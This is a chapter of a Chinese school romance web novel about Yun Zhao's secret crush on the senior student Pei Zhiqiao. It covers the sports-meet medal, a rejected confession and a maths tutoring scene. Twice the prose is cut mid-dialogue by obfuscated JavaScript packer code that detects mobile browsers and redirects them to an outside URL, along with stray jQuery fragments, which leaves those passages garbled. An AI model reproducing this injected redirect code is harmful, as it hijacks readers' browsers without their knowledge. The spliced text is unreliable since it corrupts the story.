这个账号的第一篇博文,记录了云昭与裴至峤第一次相遇: 「在南方罕见的雪天,我遇到一个很好很好的人,他穿着和我一样的校服,站在病房窗户边讲话的样子像在发光。这天,我知道了《刑法》第二百四十六条的意义,也喜欢上他。」 博文的配图是一张雪景,那天的初雪融化了,后来淮川又下了一场大雪,雪层很厚,云昭在雪地上写了一句诗。 ——日足森海峤。 云昭与裴至峤的每次交集,都被云昭记录在这个微博账号里。云昭从不在博文中提及裴至峤的名字,除了她自己,没人知道,文中的“他”指的是谁。 云昭很满意这场盛大却又无声的暗恋,没人会注意这场哑剧,裴至峤也不会发觉,她觉得这样就很好。 起初,这个微博的更新频率很低,因为云昭和裴至峤之间的交集实在太少。 账号的第二篇博文发于三月,一中开学一个月后,云昭与裴至峤间有了第二次接触。 那是月考完的一个周一,云昭和裴至峤作为各自年级的第一,按惯例在国旗下讲话。 裴至峤先讲,云昭站在台下看他。那时一中还没装上大屏,云昭所在主席台右侧的候场区是最佳观赏位,离裴至峤最近,能看清楚他的一举一动。 这并不是云昭第一次站在这个位置观看裴至峤的演讲,只是上一次云昭心里,裴至峤还没占据特别位置,她只当他是普通学长,未曾多驻足目光。 这回不一样,云昭的眼神黏在裴至峤身上,长时间且近距离的观察,让她终于看清了一中传言里无数人倾慕的对象的真容。 裴至峤的确很好看。立体的眉弓、高挺的鼻子以及锋利的下颌,让他具有男性的沉稳与儒雅风范,而流畅的面部线条和丰盈的软组织又让他具有少年的朝气与生机。 他站在台上侃侃而谈着一些学习技巧,是无数人仰望的天之骄子。 云昭却想起在医院遇见他那天,他也是穿的这件校服,没有今天的从容不迫,可云昭觉得,那个时候的裴至峤最好看,今后再多的瞬间也抵挡不了当时的惊鸿一幕。 裴至峤的讲话结束,下一个该云昭上台。当话筒递到手边时,云昭一直没接。 她沉浸在回忆里太入迷,直到裴至峤叫她:“同学,该你上去了。” 云昭心猛然一跳,整个人瞬间崩紧。她觉得或许就是因为今天这次不顺利,今后很多次,她总是在裴至峤面前犯错。 云昭紧张的接下那支在裴至峤手里的话筒,天气还冷的初春里,她的手心却在出汗,话筒上的余热更叫她心跳加速。 那天晚上,云昭躲在被窝里,福音书与祷告文更新了一条动态: 「初春料峭的风里,我多幸运能站在离他最近的地方,话筒的余温灼烫我的手心。我想,我会一直喜欢他。」 一晃到五月,云昭和裴至峤一起参加作文大赛。他们在同一个考场,那时已入夏,斑驳的阳光洒进教室,云昭的心思一半在稿纸上,一半在裴至峤身上。 那晚的海棠树下,福音书与祷告文再次更新动态: 「无风的下午,我想不出该在稿纸上写什么,脑海里忽然出现一句话:不是风动,不是幡动,仁者心动。我心不静,根源是他。」 虽然这场比赛云昭分了心,但最后她依旧拿到了一等奖,才有了后来开学典礼上的颁奖仪式。 上半年他们接触寥寥,仅有的几次也没能让他们产生更深的了解。说起来,他们真正认识彼此,是在这学期开学后。 公交站台的护送、宣传栏上的照片、月考后的冷笑话以及摔伤后的上药,每一件与裴至峤有关的事,都被云昭深刻记录。 此时坐在医务室的病床上,云昭在关栩宁面前沉默的承认了她的喜欢。 而关栩宁面对云昭反问的那句“你难道从没有一刻对裴至峤心动过吗”,回答得很轻易:“没有。” “如果是因为他曾对我伸出过援助之手,我就要动心喜欢上他,那我真正应该喜欢的是他妈妈。为我收集证据打官司的是裴律师,让那个人付出代价的也是裴律师,按这个道理,我应该喜欢裴律师。” 云昭一下子呆愣,她没想到关栩宁会是这样的解释,角度之清奇,她叹为观止,一时忘了回复。 但关栩宁的话不无道理,现实生活中哪来那么多偶像剧桥段,关栩宁从不拿裴至峤偶然的相助当宿命。 “我挺感谢他的,但感谢不是喜欢。” 关栩宁分得很清楚,感谢只是感谢而已。 “你是因为这个,所以喜欢他吗?” “嗯,算是吧。” 云昭觉得喜欢裴至峤的原因是由很多个部分组成的,却不得不承认,这件事是影响最大的。 关栩宁说:“他的确是很好的人,也很值得喜欢。” 云昭笑着:“我也觉得。” 有人说,要喜欢一个本身就很好的人,云昭觉得,裴至峤就是那个本身就很好的人。 “云昭,其实你也是。” 关栩宁突然出声,云昭措不及防的收到夸奖,不知该怎么回复,呆呆的问了句:“为什么这么说?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241917|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我住院那段时间,你经常来看黎医生,带了很多糕点分给护士和病人。你妈妈的糕点做得很好吃,很甜,让我觉得药好像没那么苦了。” 关栩宁回忆那段痛苦的日子,云昭带来的糕点是仅有的一点甜。 云昭恢复了笑容:“我妈妈听到的话肯定很高兴。你喜欢吃什么口味的甜品?我下次带给你。” 关栩宁拒绝着:“太麻烦你和阿姨了。” “没关系,糕点放着就浪费了。小鱼喜欢可露丽,你喜欢什么呀?” 架不住云昭的热情,关栩宁说:“我喜欢布列塔尼松饼。” 云昭第一次去医院那天,带的甜点就是布列塔尼松饼。 “好!我下次给你带。” 云昭和关栩宁达成约定,云昭给关栩宁带甜点,关栩宁帮云昭保守喜欢裴至峤的秘密。 没过几分钟,云昭接到黎梦秋电话,黎梦秋说她已经赶到校门口。家长没法进学校,关栩宁扶着云昭出去,然后返回到操场边班级的驻地。 各项比赛仍在进行,现场气氛依旧鼎沸,主席台前搭起的颁奖台上,裁判正给亚军和季军颁奖。 奖牌下发前,主裁判问怎么第一名缺席了。 裴至峤拿着核对后的成绩单,替云昭解释:“她刚才受伤,请假去医院检查了。” 主裁疑惑,拿了第一名的女生怎么会在场上受伤。他将奖牌给裴至峤,让他转递给云昭。 “你刚送她去医务室,你应该认识她吧?你拿给她省得她受伤了还要多跑一趟。” 按流程,缺席颁奖的选手要自己去体育办公室领奖牌,主裁体谅小姑娘受伤不方便,又觉得堆在办公室麻烦,直接将牌子扔到了裴至峤那儿。 一中运动会的奖牌虽不是真的金银铜,但金属材料有些重量,拿在手里沉甸甸,背面刻着项目名称。 裴至峤有一块一样的奖牌,项目是男子一千五百米。 “我会带给她的,老师。” 八百米项目此刻正式结束,裴至峤来帮忙的任务完成了,他收好拿过来的纸笔,准备回教室。 从主席台往教学楼走正好会路过文一班的驻地,裴至峤不自觉的朝文一班看了一眼,看见关栩宁的身影,知道云昭已经被家长接走。 好像已经没什么可担心的了,但裴至峤不知为什么没忍住到关栩宁面前询问云昭的消息。 “云昭走了吗?” “嗯,她妈妈来接的。” 因为刚才在医务室聊起的话题,关栩宁不由多问一句:“你找她有事吗?” 裴至峤后知后觉,自己这趟来得无缘无故,只好指指手里的东西:“我来送奖牌。” 金黄的奖牌被他递出:“既然云昭不在,你帮我给她吧。” 关栩宁瞧了一眼裴至峤,又看了看他手心里的奖牌,没接。 “既然是你颁的奖,还是你亲自给云昭吧。” 奖牌不是什么机密的东西,关栩宁平时或许会顺手帮这个忙,但现在她拒绝了。早在月考完给云昭讲题时偶然看见草稿本上那句诗时,关栩宁就察觉云昭对裴至峤的特别。她知道,对云昭来说,裴至峤给的奖牌和她给的奖牌意义不同。 裴至峤对关栩宁的拒绝没有任何反应,只平淡的说:“好。” 他或许也是知道的,知道不同人给的东西意义不同,奖牌是,创可贴也是。 刚才帮云昭上药的时候,看见了和纱布装在一个抽屉里的创可贴。特别普通的白色包装,是医院里常用的一种,也是很久以前,云昭递给他的那种。 他忽的就想起那个初雪后的冷天。 所以他明知道云昭不在班里,却硬借着奖牌的事去了一趟。 或许更早以前,他在体育办公室前与云昭擦肩而过,隐约听到那句八百米比赛。他在选择裁判项目时就主动申请了八百米的登记。 回到教室,班里正在上历史课,奖牌被小心翼翼的放在抽屉。裴至峤拿出练习册,翻到老师讲的位置——一道关于启蒙运动的选择题。 裴至峤觉得,今天他似乎也被启蒙了些什么。 16. 朝暮 「时间过得太快,快到我来不及回味与他每次交集的细节。只记得我有幸与他上过同一节体育课,感受过他扶我时的温柔,看见过他认真讲题时的侧脸。与他有关的朝暮,是我少女时代无法忘却的高光。」——@福音书与祷告文 运动会在两天后落幕,云昭的八百米第一名成为关键,助力文一班拿下团体金奖。 虞岁作为体委代表文一班领奖,正如她赛前所说,在体育老师面前扬眉吐气。云昭在视频里听到这个消息,一边觉得高兴,一边又被虞岁傲娇的语气逗笑。 视频到最后虞岁才想起正经事,询问云昭的伤势:“昭昭,你脚上的伤怎么样了?严不严重?” “没什么大事,就是扭伤,医生说喷药后休息两天就好,我明天回来上课。” 那天去人民医院拍了X光片,万幸没伤到骨头,不然就麻烦了。提及此,虞岁忍不住好奇那篇加油稿到底是谁写的,真是害人不浅。 云昭低头笑着,脸上有淡淡的红,虞岁低头看见云昭带着羞涩的神情,一下明白。 “其实也不完全是坏处对吧?那天裴至峤背你去医务室之后呢,你还没跟我说过!” “昭昭,你和裴至峤……” 虞岁还没问完,云昭就打断她,脸比之前更红。裴至峤这个名字就像她少女情绪的开关,一提起空气里都冒粉红泡泡,却也不敢多听太多言语,会让她的喜欢无处藏匿。 “怎么吃也堵不上你的嘴,明天去学校不给你带可露丽了!” 云昭装生气的样子毫无杀伤力,反而有种浸润着甜味的可爱。 虞岁为了口腹之欲立马滑跪道歉:“好了好了我不说了,等你的可露丽!” 云昭不会真的和虞岁生气,她一直记着她的可露丽,也记得关栩宁的布列塔尼松饼。 第二天早晨到教室,关栩宁已经到了,看见云昭一瘸一拐着走进来,于是帮她拿东西,扶她到座位上。 后桌的虞岁还没来,云昭觉得她很有可能又起晚了,将她心心念念的东西放在她课桌上,然后发微信催她赶紧来,别迟到被武滢抓住。 另一盒包装精美的松饼,云昭推到关栩宁桌上:“我妈妈新改良了配方,比上次更好吃,你快尝尝!” 云昭信守承诺,真的给关栩宁带了甜品,真诚的邀请她尝试新配方。关栩宁被她感染,勾起一个微笑,收下了云昭这份“贿赂”她保守秘密的“礼金”。 关栩宁觉得,自己得给云昭一点“回报”。 “对了,你八百米的金牌在裴至峤那里,有空记得去找他拿。” 关栩宁一如既往的平淡语气,像是在说无关紧要的小事,云昭却咯噔一下心跳加速。这话在云昭耳朵里,跟“又有机会见到裴至峤”是相等的。 “我、我知道了。” 略显结巴的语气暴露了云昭内心的不平静,关栩宁好人做到底,没戳穿她,继续埋头做题。 虞岁果真睡过头,在早自习前卡点到,被武滢抓个正着,一上午鸡飞狗跳,就着运动会的余韵过去。 下午第一节体育课,虞岁去办公室找体育老师。哪知刚踏出教室门,武滢就抱着一沓英语试卷进来。 “你们体育老师要去外地交流学习一个月,这段时间体育课由理一班老师代课。因为课程冲突,今天下午的体育课和明天上午的英语课对调。” 武滢挥挥手里的试卷:“这节课我们来做个小测试。” 英语课代表挨个发卷,底下一片哀嚎。云昭没什么波动,心无旁骛的写完一张小卷,还有多余的时间看作文材料。她没将调课的事放在心上,课表偶尔的变动是正常现象。 倒是虞岁很不开心,继早上被抓住后又被按在座位上了一节英语课,人都快疯了。 云昭转过头去安慰她:“你不是不喜欢体育课上的排球训练吗,现在不用打排球了唉。” 虞岁依旧哭丧着脸:“可我也不喜欢英语!” 她大呼:“为什么一定要在两个臭鸡蛋里选一个,就不能都不要吗!” 虞岁那样子太逗,不仅云昭止不住笑,连关栩宁也浅浅勾起嘴角。 课还要继续上下去,但云昭的腿不太方便上体育课,医生嘱咐一个月内避免剧烈运动,会影响恢复。她拿着证明给新的体育老师请假。 新老师人很随和,安排云昭坐到旁边的台子上休息,旁观其他人做热身运动。 因为部分老师外出交流学习,课表变动后这节课上体育课的班级不少,跑道和足球场上都有班级在做准备活动。 云昭目光扫视一圈,在东南角阴凉处的班级里看到了个熟悉的身影。 她起先以为自己看错了,因为她清楚的记得,高三文一的两节体育课并不在今天。前两周她轮换到靠窗的座位时观察过,甚至在上课上偷瞄过好几次操场上的裴至峤。 或许他们班的体育老师也出去交流学习了,导致他们班的课调到了现在这节。 云昭有种忽然被惊喜砸中的不可置信,反复往那个方向看了好几次,确定那就是裴至峤。此刻,课表的变动对她来说再也不是无关紧要的正常现象,而是意外的惊喜,与他在同一节体育课上相遇,是她祈愿已久的梦。 体育并不是高考科目,大多数体育老师面对一周两节的例行安排都比较放松,不会像之前老师一样安排项目。热身之后就是自由活动。 显然,很多女生发现了裴至峤的存在,加上原本就该在这节上体育课的理一班的梁斯年,操场的声浪一波接着一波,越来越大,让原本没注意到的人也注意到了。 裴至峤和梁斯年难得在同一节体育课碰上,两个班商量着打半场友谊赛,高三之后切磋的机会太少,大家很珍惜。 裴至峤和梁斯年分别带队,比赛打半场,两小局,输赢是其次,友谊最重要。 比赛还没开始,篮球场周围就站满了围观的人,全是冲着裴至峤和梁斯年来的。 云昭犹豫着要不要去凑这个热闹,或许这是她最后一次有机会能看到裴至峤打篮球。思及此,她终是拖着走不利索的腿,来到篮球场边。所有位置都站满了人,云昭只能在外围。 云昭前面站了个个子很高的女生,目测快175,挡住了云昭大部分视线,云昭只能看到几个飞速闪过的影子、篮球被抛在空中的痕迹和篮板被砸中的声音。再根据欢呼声的大小来判断投进这颗球的人是谁。 一小局下来,云昭基本没看到什么,只听到前头几个能看见的女生说,裴至峤的三分投得多好。 哨声响起,中场休息,文一比分暂时领先。 云昭想踮脚看看场上的情况,但脚踝的伤让她没办法维持姿势。虞岁扶着摇摇欲坠的云昭,直接拉着她挤进前面第一排。 裴至峤打完一场出了汗,脸有点红,正拿毛巾擦脸。忽然有个女生走上前,把手里的电解质饮料递给裴至峤。女生应该是高一或者高二的学妹,她叫裴至峤“学长”。 这种篮球赛送水的桥段是经典戏码,大概每个女生都口嗨过要给crush送水。但真正敢付出行动的没几个,因为裴至峤从来没接过任何人的水。 他每次都只会说:“谢谢你同学,我已经有水了。” 这次也不例外,女生收回手失落的走开。 梁斯年在裴至峤旁边开玩笑,说:“哎呀,从此以后一中又多了一个被阿裴伤心的学妹咯!” 他口中的“阿裴”睨了他一眼,身边的司佳恩粗暴的把水灌在他嘴里,“还有闲情关心人家学妹呢,下一局你要是赢不回来就死定了!” 梁斯年认命的任由司佳恩吩咐,让裴至峤手下留情,别让他被司佳恩收拾了。 裴至峤笑笑:“下场我不上了,你们打吧。” “你怎么不上了,这才打一小场,你不至于打不动了吧?” 裴至峤和他开玩笑:“这不是要给你放水吗?” 梁斯年骂他一句:“谁要你放水了!下场给我认真打,我凭实力也能赢你好吗!” “不行,真打不了,前几天长跑有点拉伤。” 裴至峤摆手拒绝,梁斯年困惑:“你怎么突然去跑长跑了?” 裴至峤没解释,脱了球服没再上场。 篮球场边的人散去一部分,没原先拥挤,云昭却也没看下去的欲望。裴至峤不打了,篮球赛对她来说就没什么可看的了。 云昭心里有种说不出的感觉,是一种比失落更复杂的情绪,也许是因为这回又没看到裴至峤打篮球,也可能是因为刚刚那个送水的女生。 她觉得裴至峤就像忽远忽近的流星,她不知道他什么时候会降落,也不知道他会途径怎样的风景。或许裴至峤会被途中的风景吸引,再也不会降落到她的界限里。 有种超越嫉妒和遗憾的感觉,不可掌控,人们潜意识里讨厌这种不可掌控,云昭也是。 云昭兴致缺缺,准备回班休息。虞岁留在操场召集大家集合,没跟云昭一起。 楼梯间没有阳光,阴凉的感觉落在身上。云昭腿没好全,上楼的速度很慢,被比她晚回教室的裴至峤轻而易举的追上。 “云昭。” 裴至峤离云昭三步阶梯,云昭听到声音回头,和他相望,有些诧异。她不知道原本该在篮球场的裴至峤为什么出现在这里。 “你的伤好了吗?” 裴至峤主动关心,云昭一时怔愣:“已、已经好了。” 三级台阶的差距让云昭要低头看裴至峤,他比她高二十公分,云昭头一次从这个角度观察他、俯视他,独特的视角带来新奇的体验。 裴至峤小声的说了句:“那就好。” 随后提起:“那天颁奖你没来,我替你把奖牌收起来了,现在拿给你方便吗?” 其实从关栩宁告诉她这件事开始,云昭就在构思跟裴至峤对话的开场白。没想裴至峤会先提起,云昭就只能回复一个:“好。” 裴至峤三步并作一步,来到和云昭并列的台阶:“我扶你走吧。” 云昭觉得自己不至于到需要人扶的地步,却实在拒绝不了、也不想拒绝裴至峤的好意。薄薄的校服外套挡不住裴至峤扶着她手臂的温度,和那天一样滚烫的、刺激的感觉。 云昭站在二楼走廊、两间办公室中间的饮水机旁,裴至峤回班取那枚奖牌,云昭没跟去,静静站着等。 这层楼里几乎所有的班级都在上体育课,走廊上只有他们两人,安静得过分,让云昭只能听到裴至峤的声音。 三色的带子套在云昭的脖子上,裴至峤亲自将金牌坠在云昭胸口。 他诚挚的祝福她:“云昭,恭喜你获得第一名。” 就像他那天诚挚的祝福她比赛加油。 下课铃碰巧响起,像是为云昭的荣誉伴奏。 这应该是云昭经历过的最简陋的颁奖礼,没有舞台、没有鲜花、甚至连阳光都没有照到她身上,只有一阵下课铃在为她庆祝。 哦,还有他,他也在为她庆祝。 云昭低头,掂了掂这块有分量的奖牌:“谢谢你,裴至峤。” 无论是那天背她去医务室,还是今天他弥补给她的颁奖仪式,云昭都想谢谢裴至峤,为她的高中时代添上一笔又一笔高光。 裴至峤的表情停留在一如既往的温和的笑容上,像初春的阳光,驱散了云昭心里刚刚那些不可掌控的复杂情绪。 她想,似乎有一部分是她可以掌控的,比如现在,他亲手为她颁奖的这一刻。 云昭知道,运动会的颁奖人是主裁判,其他得奖同学的奖牌是主裁颁发的,只有云昭的是裴至峤颁发的、单独补给她的,是最特别的。 她也扬起笑容,让裴至峤再一次体会到熟悉的草莓味。 下课了,人潮涌入楼道前,云昭和裴至峤一个向左,一个向右,分别回到自己的班级。云昭握着胸前的奖牌回味,没注意身后的裴至峤频频回头看过来的目光。 云昭刚坐下,文娱委员来找她商量新一期黑板报。一中每个月换一次黑板报,学生会要检查,板报小组已经定好这次的主题,需要云昭写一下字。 “你就写上次刊在校报上的文章就好,学生会周五下午检查,她们还得画两天,最后得辛苦你一下了。” 云昭心情好,爽快的答应下来:“好,没问题。” 因为粉笔字写得漂亮,云昭一直在帮板报小组题字。她在日程本上记下这件事,准备每天放学后写一点。 金牌放在桌上,虞岁和关栩宁都看到了,虞岁拿起牌子打量,说自己都忘了这件事,让云昭受着伤还自己去老师那儿拿奖牌。 云昭只说没关系,她没解释这其中与裴至峤有关的部分,关栩宁却知道。不过她一幅事不关己,什么也没问,让云昭那点心虚都不知道往哪儿放。 这周过得很快,武滢在班会上宣布了下一次月考的日期,整个班又迎来一片哀嚎。似乎上次月考才过去没多久,下次月考就来了。 周五,云昭的腿已经完全恢复,放学后她一个人留在教室给板报写字。 本来早该写完的,云昭没有拖到最后去赶ddl的习惯。但这回板报小组的成员出现了分歧,导致她们班板报的绘画部分一直没定下,直到今天中午才统一意见完工,云昭只能尽力赶上,争取在检查前写完。 似乎好几个班都在赶制黑板报,隔壁理一班的人找云昭借彩色粉笔。没过多久,理一班的颜星元又来了文一班。 “云昭,你上次考试的英语试卷能接我看看吗?武老师说你的读后续写是最高分。” 云昭回想了一下那张卷子的去处:“我的被关栩宁借走带回家了,你要想看的话下周一再来吧。” “没关系,那我下次再来找你。” 颜星元说完却没走,他站在文一班后门的门口,深吸一口气像是在酝酿什么,随后问云昭:“我可以进来吗?其实我还有话想跟你说。” 云昭站在椅子上为板报写字,听到颜星元的话大概猜到他要说什么。她从椅子上下来,却没让颜星元进教室。 “云昭……” 颜星元刚起了头,云昭就再没给他说话的机会:“颜星元。” 作为有教养的女孩,云昭知道打断别人说话是不礼貌的行为,她极少有这种迫切阻止他人发表言论的时候,此刻是例外。 云昭与颜星元面对面,但距离很远,她斟酌着用词,不想让彼此难堪。 “运动会那天,加油稿是你写的对不对?” 颜星元的脸白了,试图张口解释,却没发出任何声音。 云昭继续说:“那之后我和小鱼去找过那篇加油稿。” 得益于虞岁和广播站的主持人关系不错,她们拿到了所有加油稿,看了几个小时才找出那张写云昭的。 可惜稿纸上没有署名,她们找到了原稿却依然不知是谁写的。 直到前天云昭帮丁菡改理一班的小卷,偶然发现颜星元的字迹和那篇稿子一样,这才确定加油稿的主人。 云昭自认与颜星元并不那么熟,两人只是高一同班了一年,分科后基本没有了交集。颜星元绝不可能是出自朋友情义为云昭写的加油稿,只可能是…… 他别有目的,或许就像虞岁说的那样。 “对,我就是这个意思,云昭。” 既然事情已经发展到这个地步,颜星元索性承认了:“云昭,我喜欢你。” 云昭已经猜到,但真正听颜星元说出口还是被震撼。当面的大声表白云昭属实是头一回经历,比以前收到的那些莫名其妙的情书和好友申请更难处理。 “很抱歉,颜星元。” 云昭的意思很明了。 颜星元像是破罐破摔的追问:“为什么?是我哪里不够好所以你拒绝我吗?” 其实用世俗的标准来评价颜星元,他算得上是很优秀的人,成绩常年保持理科前三,学习好,人缘好,长得也不错。 不是他不好,只是云昭不喜欢他。 云昭说:“我现在没有谈恋爱的打算。” 她又补充:“我现在更想好好学习,希望你也能好好学习。” 虽然当时觉得裴至峤拒绝韩萧雨的话术有点敷衍,但云昭不得不承认这个理由很好用。云昭不敢直接承认她已经有喜欢的人了,一旦提起,颜星元一定会追问,说不定就会有越来越多的人知道并好奇那个人是谁。云昭不想要这种关注,她说过不想给他造成困扰,于是选择闭口不言。 “那以后呢?如果我们考上同一所大学,你会给我这个机会吗?” 颜星元没放弃,一定得到一个准确的答案。 “以后的事谁也说不准,我只知道现在,我想好好学习。” 云昭委婉的回答,颜星元脸上浮现出一种被拒绝的难堪,愣在门口再没声音。 这场告白似乎结束得并不体面,即使云昭说的是和裴至峤一样的理由,颜星元远没有韩萧雨的洒脱,让云昭不知道接下去该说什么才好。 还好,颜星元没有在文一班的门口站太久。云昭再次踩上椅子,写板报上没写完的字。 云昭突然觉得,拒绝人也是一件很苦恼的事。为了不让自己苦恼,也不给别人带去烦恼,暗恋这件事永远不要张口才好。她庆幸现在是放学时间,除了他们俩,没人听到刚才的对话。 耳机里播着一首《小半》,歌词停在—— 「低头呢喃 对你的偏爱太明目张胆 ……」 云昭摒弃杂念,专心致志,写完最上面的一段,准备从椅子上下来写第二段,她把校服的袖子往上卷了卷,让动作更方便。 这几天气温下降,云昭禁不住秋天里阴冷的天气,一直穿着校服外套。校服质量不好,总有开线,松了线头的下摆不小心挂到黑板边框的钉子,云昭往下一走,差点摔到地上。 这摔下去可比上回要严重得多,幸好没真的摔倒。而没摔的原因,是裴至峤伸手扶了云昭一下。 “裴、裴至峤!” 云昭整个身体悬在空中要往下倒,裴至峤扶着她的背,她仰头看见一张旋转了九十度的脸在面前。云昭有惊慌,但更多的是见到裴至峤的意外。 裴至峤托着云昭的背的手臂缓慢抬起,让云昭稳稳站在椅子上,再去帮她解挂在钉子上的线。 “小心,要是站不稳就扶着我。” 他把肩膀借给云昭,很快把线头解下来,让云昭扶着他的手下来。 把自己的手交到别人的手心中的动作似乎太暧昧,云昭对着裴至峤伸出的手愣了好几秒。最后,她抓着裴至峤被校服外套包裹的手臂走下椅子。 “刚刚发生了什么,让你心不在焉差点又摔了。以后站在椅子上写字的时候要小心一些。” 裴至峤笑着嘱咐,语气没有指责,而是难以言喻的温柔和探究。 云昭有点不好意思,刚刚确实是她没料到的,她没有心不在焉,而是太专注的写字,怕赶不上学生会的检查。 “谢谢裴学长,我会小心的。不过你怎么会来我们班啊?” 裴至峤指了指黑板:“我是来检查的。” 云昭抬手看表,发现已经到检查时间了。刚才颜星元来找她说话耽误了一会儿,导致她还是没写完。 她整张脸皱在一起,懊悔又失落:“裴学长,能不能等一下再来我们班检查?我很快就写完了,就差最后一段!” 云昭不想她们班因为这个扣分,寄希望于裴至峤能宽容。 裴至峤的视线从黑板移到身边的女孩,一转头就看见那双水灵灵的杏眼。他觉得此刻的云昭很像梁斯年偶尔犯贱时给他发的“拜托拜托”的表情包,可爱到他想去捏她脸颊。 大概没人面对云昭的恳求会不动容,裴至峤也是。 他说:“没关系,我等你写完再拍照。” 杏眼弯成月牙,云昭笑着:“那你快去检查其他班吧,我很快就写完。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252824|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 云昭换了支粉笔准备继续写,裴至峤却没走,反而走到她身边:“其他班已经查完了,不介意我留在这儿等你吧?” 云昭当然不介意,甚至很开心裴至峤能在这个只有他们两人的空间中。 她觉得,今天命运太偏爱她。 裴至峤捧着粉笔盒,站在云昭身边给她递笔,让她写得更方便些。 耳机里还在循环《小半》,云昭好想放慢写字的速度,这样裴至峤就能多站在她身边一会儿。 云昭不知道,裴至峤也这样想。 早在颜星元来找云昭时,裴至峤就已经检查完别的班,来到高二文一的门口。他听到云昭说起加油稿,隔空回答了那天他在医务室想问却没来得及问的问题。颜星元向云昭表白时,他大概比云昭自己更紧张,因为他不知道云昭的答案。 幸好,云昭没有答应他。不幸的是,云昭很快把剩下的一段写完了。 云昭不想让裴至峤等太久,怕耽误他,尽管她很想和他待在一起。 粉笔放回讲台上,相机咔嚓一声,黑板报彻底结束。云昭回座位收拾书包,裴至峤也收起了打分表。 离放学已经过去很久,不出意外,学校里只剩他们两人。天色有些暗了,晚霞的色彩从浓烈的红变成晕着深蓝的紫。 裴至峤主动提出:“我们一起去车站吧。” 书包的拉链突然卡壳,云昭看向门口的他:“好啊。” 他们之前也经常一起去车站,云昭用这点麻痹自己心中的兴奋。 裴至峤回教室拿书包,他们在楼梯间汇合,一起下楼。 这是他们第一次并肩走在黄昏的林荫道上,周五的裴至峤没有延迟十分钟回家的习惯,他湮在人群里,云昭很难撞见,更别提并肩。 云昭是高兴的,她的认知里,黄昏时一起散步是很浪漫的事,黎梦秋和云景志就会这样。 裴至峤却是深沉的,一路上,他几次欲张口提起刚才撞见的尴尬,他的认知里,偷听是小人行径。可他那时无法上前,怕局面陷入更糟糕境地,毕竟撞破表白被拒对两个人来说都是不想提起的事。 他此时才深刻领悟,“看破不说破”是一种善意。 七路公交车早到两分钟,裴至峤没上这一趟。等到六路公交到站,他目送云昭上车。 已经过了晚高峰,车上人不多,最后一排座位的窗打开,云昭对站在车下的裴至峤说:“裴学长,下周见。” 初秋轻柔的风漫过,背上一片灼热,云昭回味着裴至峤扶她的温柔,听他说:“下周见。” 日升月落,周而复始。他们都践行着这句“下周见”,周一升旗仪式的匆匆一瞥、那节恰好被调在一起的体育课上的对视微笑、以及晚自习后晚十分钟下楼的巧遇,这些与裴至峤有关的朝暮,成为云昭最无法忘却的记忆。 可惜时间太快,快到云昭来不及回味与他每次相遇的细节。体育老师交流完回校,课表恢复原状,云昭不会再与裴至峤一起上课。武滢一再强调期中考试的重要性,让云昭神经更紧绷几分。 没过几天,期中考试的考场表发下来,云昭仔细查看每一个科目的教室,这回她好像没有那样的幸运,再去裴至峤的班考试。 没有期待与兴奋的两天考试对云昭来说过得很快,考完那天的晚自习,云昭刚收拾好座位,数学答题卡就发到手上。 虞岁坐在身后,脸上是和上回如出一辙的生无可恋,害怕得到武滢的“传召”。云昭没上次的惶恐,轻轻触摸答题卡上“13”开头的分数,嘴角浅浅勾着笑。她想,这次或许有机会和裴至峤在光荣榜上并肩。 各科答案被抄在黑板上,云昭用红笔改自己做错的题目。数学试卷的压轴题有点复杂,云昭看了两遍也没看懂,连关栩宁也被难住。 “那我去办公室问老师吧,你要一起吗?” “我得改历史卷子,你听懂了回来给我讲吧。” 云昭说好,从后门悄悄出去,敲响了隔壁办公室的门。 叫她进来的声音让她有点耳熟。 办公室空空荡荡,几乎所有老师都不在,唯一有人的是高三文一数学老师的位置,那里坐着裴至峤。 云昭惊愕的愣在原地,进也不是,退又不舍。 裴至峤温柔开口:“老师们都去开成绩分析会了,等会儿才会回来。你有什么事吗?” 云昭说:“没什么事,我就是想来问道题。” 云昭才想起这次期中考是六校联考,考完各年级要开成绩分析会。她刚想说问题这事不急,她明天来也可以,裴至峤就叫住了她。 “是数学吗?不介意的话我可以帮你看看。” 刚想转身的脚步陡然停下,“会耽误你的事吗?要不我还是……” “没关系,我已经登记完成绩了,不耽误什么。” 盛情难却。 云昭手中的试卷越来越皱,支撑着她走到裴至峤身边。裴至峤提前摆好椅子,让云昭坐他旁边。 他主动凑近:“你想问哪道题?” 他衣服上的香气被体温烘热,飘进云昭的鼻子,发丝被裴至峤凑近时激起的微风吹落,垂在眼前。云昭一时不敢有动作,借着眨眼平复情绪。 她指尖轻轻落在试卷的末尾:“这道题。” 她解释:“参考答案写得太复杂了,我有点没看懂。” 裴至峤认真读题干,这几秒里,云昭忍不住小动作,把垂下来的头发撩到耳后,他完整而清晰的侧脸便在余光浮现。 白炽灯从头顶往下照,眼眶处投射出一片阴影,将那双桃花眼藏起来,高挺的鼻梁成为视觉的焦点,云昭心中只剩下一句话。 ——裴至峤太好看了。 薄唇轻启,低沉的声音涌入耳朵:“根据题目给的定义,可以先求□□的坐标,根据坐标求出斜率……” 裴至峤看过一遍题后直接开始讲,云昭被声音惊得恍然回神,迫使自己的注意力从美色上转到题目上。裴至峤语速不快,确定云昭听懂了才继续下一步,云昭偶尔给予点头作为回应。 “这里可以假设CD两点的坐标,用斜率公式求解……” 